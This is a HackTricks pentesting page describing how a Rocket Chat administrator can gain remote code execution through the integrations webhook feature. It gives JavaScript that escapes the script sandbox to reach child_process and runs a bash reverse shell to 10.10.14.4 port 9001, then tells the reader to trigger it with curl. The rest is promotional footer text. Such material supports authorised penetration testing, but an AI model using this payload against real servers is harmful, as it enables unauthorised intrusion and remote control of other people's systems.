hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

Rocket Chat

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RCE

If you are admin inside Rocket Chat you can get RCE.

• Got to Integrations and select New Integration and choose any: Incoming WebHook or Outgoing WebHook.
  • /admin/integrations/incoming

• According to the docs, both use ES2015 / ECMAScript 6 (basically JavaScript) to process the data. So lets get a rev shell for javascript like:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• Configure the WebHook (the channel and post as username must exists):

• Configure WebHook script:

• Save changes
• Get the generated WebHook URL:

• Call it with curl and you shuold receive the rev shell

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
• Discover The PEASS Family, our collection of exclusive NFTs
• Get the official PEASS & HackTricks swag
• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
• Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.